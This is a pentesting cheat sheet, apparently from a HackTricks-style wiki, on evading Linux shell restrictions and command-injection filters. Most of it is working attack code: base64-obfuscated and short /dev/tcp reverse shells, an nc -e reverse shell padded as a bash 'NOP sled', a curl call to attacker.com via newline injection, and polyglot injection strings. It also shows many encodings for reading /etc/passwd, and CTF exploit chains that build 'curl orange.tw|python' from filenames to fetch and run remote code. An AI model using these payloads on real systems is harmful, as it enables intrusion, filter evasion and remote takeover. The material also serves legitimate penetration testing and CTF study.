Bypass Linux Restrictions

Common Limitations Bypasses

The command-injection and WAF-evasion collections in PayloadsAllTheThings, Bo0oM’s cheat sheet, and the two linked Secjuice articles provide background for the shell-syntax variations in this section.^[1][2][3][4]

Reverse Shell

# Double-Base64 payload
echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g'
# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h

Short Rev shell

#Trick from Dikline
#Get a rev shell with
(sh)0>/dev/tcp/10.10.10.10/443
#Then get the out of the rev shell executing inside of it:
exec >&0

Bypass Paths and forbidden words

# Question mark binary substitution
/usr/bin/p?ng # /usr/bin/ping
nma? -p 80 localhost # /usr/bin/nmap -p 80 localhost

# Wildcard(*) binary substitution
/usr/bin/who*mi # /usr/bin/whoami

# Wildcard + local directory arguments
touch -- -la # -- stops processing options after the --
ls *
echo * #List current files and folders with echo and wildcard

# [chars]
/usr/bin/n[c] # /usr/bin/nc

# Quotes
'p'i'n'g # ping
"w"h"o"a"m"i # whoami
ech''o test # echo test
ech""o test # echo test
bas''e64 # base64

#Backslashes
\u\n\a\m\e \-\a # uname -a
/\b\i\n/////s\h

# $@
who$@ami #whoami

# Transformations (case, reverse, base64)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi") #whoami -> Upper case to lower case
$(a="WhOaMi";printf %s "${a,,}") #whoami -> transformation (only bash)
$(rev<<<'imaohw') #whoami
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) #base64

# Execution through $0
echo whoami|$0

# Uninitialized variables: A uninitialized variable equals to null (nothing)
cat$u /etc$u/passwd$u # Use the uninitialized variable without {} before any symbol
p${u}i${u}n${u}g # Equals to ping, use {} to put the uninitialized variables between valid characters

# New lines
p\
i\
n\
g # These 4 lines will equal to ping

# Fake commands
p$(u)i$(u)n$(u)g # Equals to ping but 3 errors trying to execute "u" are shown
w`u`h`u`o`u`a`u`m`u`i # Equals to whoami but 5 errors trying to execute "u" are shown

# Concatenation of strings using history
!-1 # This will be substitute by the last command executed, and !-2 by the penultimate command
mi # This will throw an error
whoa # This will throw an error
!-1!-2 # This will execute whoami

Bypass forbidden spaces

# {form}
{cat,lol.txt} # cat lol.txt
{echo,test} # echo test

# IFS - Internal field separator, change " " for any other character ("]" in this case)
cat${IFS}/etc/passwd # cat /etc/passwd
cat$IFS/etc/passwd # cat /etc/passwd

# Put the command line in a variable and then execute it
IFS=];b=wget]10.10.14.21:53/lol]-P]/tmp;$b
IFS=];b=cat]/etc/passwd;$b # Using 2 ";"
IFS=,;`cat<<<cat,/etc/passwd` # Using cat twice
#  Other way, just change each space for ${IFS}
echo${IFS}test

# Using hex format
X=$'cat\x20/etc/passwd'&&$X

# Using tabs
echo "ls\x09-l" | bash

# Undefined variables and !
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a

Bypass backslash and slash

cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

Bypass pipes

bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

Bypass with hex encoding

echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
abc=$'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64';cat abc
`echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'`
cat `xxd -r -p <<< 2f6574632f706173737764`
xxd -r -ps <(echo 2f6574632f706173737764)
cat `xxd -r -ps <(echo 2f6574632f706173737764)`

Bypass IPs

# Decimal IPs
127.0.0.1 == 2130706433

Time based data exfiltration

time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi

Getting chars from Env Variables

echo ${LS_COLORS:10:1} #;
echo ${PATH:0:1} #/

DNS data exfiltration

For out-of-band callbacks, a collaborator-style service such as Burp Collaborator can induce a target application to interact with an external server; the existing pingb link is retained as historical navigation, not a current availability claim.^[6]

Builtins

In a restricted shell, the available builtins are the remaining command surface for these examples; Bash documents its builtin commands and execution grammar.^[7] Idea from devploit.
Start with the existing shell builtins navigation, then try the following Bash-specific techniques:^[7]

# Get list of builtins
declare builtins

# In these cases PATH won't be set, so you can try to set it
PATH="/bin" /bin/ls
export PATH="/bin"
declare PATH="/bin"
SHELL=/bin/bash

# Hex
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")
$(echo -e "\x2f\x62\x69\x6e\x2f\x6c\x73")

# Input
read aaa; exec $aaa #Read more commands to execute and execute them
read aaa; eval $aaa

# Get "/" char using printf and env vars
printf %.1s "$PWD"
## Execute /bin/ls
$(printf %.1s "$PWD")bin$(printf %.1s "$PWD")ls
## To get several letters you can use a combination of printf and
declare
declare functions
declare historywords

# Read flag in current dir
source f*
flag.txt:1: command not found: CTF{asdasdasd}

# Read file with read
while read -r line; do echo $line; done < /etc/passwd

# Get env variables
declare

# Get history
history
declare history
declare historywords

# Disable special builtins chars so you can abuse them as scripts
[ #[: ']' expected
## Disable "[" as builtin and enable it as script
enable -n [
echo -e '#!/bin/bash\necho "hello!"' > /tmp/[
chmod +x [
export PATH=/tmp:$PATH
if [ "a" ]; then echo 1; fi # Will print hello!

Polyglot command injection

1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/

Bypass potential regexes

# A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com`

Bashfuscator

The following invocation uses Bashfuscator, an open-source Bash obfuscation framework; the repository link in the code comment is retained as navigation.^[8]

# From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd'

RCE with 5 chars

The following two historical 5-character examples are retained as challenge reproductions: the primary challenge repository is available at Orange Tsai’s repository, while the second write-up link in the code block is navigation whose current availability was not verified.^[9]

# From the Orange Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge
#Orange Tsai solution
## Step 1: generate `ls -t>g` to file "_" to be able to execute ls ordening names by cration date
http://host/?cmd=>ls\
http://host/?cmd=ls>_
http://host/?cmd=>\ \
http://host/?cmd=>-t\
http://host/?cmd=>\>g
http://host/?cmd=ls>>_

## Step2: generate `curl orange.tw|python` to file "g"
## by creating the necesary filenames and writting that content to file "g" executing the previous generated file
http://host/?cmd=>on
http://host/?cmd=>th\
http://host/?cmd=>py\
http://host/?cmd=>\|\
http://host/?cmd=>tw\
http://host/?cmd=>e.\
http://host/?cmd=>ng\
http://host/?cmd=>ra\
http://host/?cmd=>o\
http://host/?cmd=>\ \
http://host/?cmd=>rl\
http://host/?cmd=>cu\
http://host/?cmd=sh _
# Note that a "\" char is added at the end of each filename because "ls" will add a new line between filenames whenwritting to the file

## Finally execute the file "g"
http://host/?cmd=sh g


# Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with "*"
https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/
## Execute tar command over a folder
http://52.199.204.34/?cmd=>tar
http://52.199.204.34/?cmd=>zcf
http://52.199.204.34/?cmd=>zzz
http://52.199.204.34/?cmd=*%20/h*

# Another curiosity if you can read files of the current folder
ln /f*
## If there is a file /flag.txt that will create a hard link
## to it in the current folder

RCE with 4 chars

# In a similar fashion to the previous bypass this one just need 4 chars to execute commands
# it will follow the same principle of creating the command `ls -t>g` in a file
# and then generate the full command in filenames
# generate "g> ht- sl" to file "v"
'>dir'
'>sl'
'>g\>'
'>ht-'
'*>v'

# reverse file "v" to file "x", content "ls -th >g"
'>rev'
'*v>x'

# generate "curl orange.tw|python;"
'>\;\\'
'>on\\'
'>th\\'
'>py\\'
'>\|\\'
'>tw\\'
'>e.\\'
'>ng\\'
'>ra\\'
'>o\\'
'>\ \\'
'>rl\\'
'>cu\\'

# got shell
'sh x'
'sh g'

Read-Only/Noexec/Distroless Bypass

If you are inside a filesystem with read-only and noexec protections, or in a distroless image, the environment imposes execution constraints documented by Linux mount(8) and the Distroless project; the linked page collects techniques for working within them.^[11][12]

Bypass Fs Protections Read Only No Exec Distroless

Chroot & other Jails Bypass

Escaping From Limited Bash

Space-Based Bash NOP Sled (“Bashsledding”)

When a vulnerability lets you partially control an argument that ultimately reaches system() or another shell, the payload offset may be uncertain. Alan Cao and Will Tan describe a constrained embedded-device case where a shell payload was sprayed into memory-mapped NVRAM and prefixed with spaces.^[5]

Therefore you can create a NOP sled for Bash by prefixing your real command with a long sequence of spaces or tab characters; Bash defines spaces and tabs as blanks that separate words in a simple command.^[5][7]

# Payload sprayed into an environment variable / NVRAM entry
"                nc -e /bin/sh 10.0.0.1 4444"
# 16× spaces ───┘ ↑ real command

If a ROP chain (or another memory-corruption primitive) passes a command-string pointer that begins anywhere within the space block, Bash can parse the remaining leading blanks until it reaches the command; in the cited router exploit, this made uncertain string offsets usable.^[5][7]

Practical use cases in constrained embedded targets include:^[5]

Memory-mapped configuration blobs (e.g. NVRAM) that are accessible across processes.^[5]
Payload channels where the attacker cannot write NULL bytes to align the payload (a general adaptation of the alignment problem).^[5]
Embedded devices with a small BusyBox ash/sh environment, which BusyBox documents as applets in resource-constrained systems.^[10]

🛠️ Combine this technique with ROP gadgets that call system() in a controlled lab; the cited router research demonstrates this combination on constrained hardware.^[5]

Bypass Linux Restrictions

Bypass Linux Restrictions

Common Limitations Bypasses

Reverse Shell

Short Rev shell

Bypass Paths and forbidden words

Bypass forbidden spaces

Bypass backslash and slash

Bypass pipes

Bypass with hex encoding

Bypass IPs

Time based data exfiltration

Getting chars from Env Variables

DNS data exfiltration

Builtins

Polyglot command injection

Bypass potential regexes

Bashfuscator

RCE with 5 chars

RCE with 4 chars

Read-Only/Noexec/Distroless Bypass

Chroot & other Jails Bypass

Space-Based Bash NOP Sled (“Bashsledding”)

References

☧ CPTS · ordered posts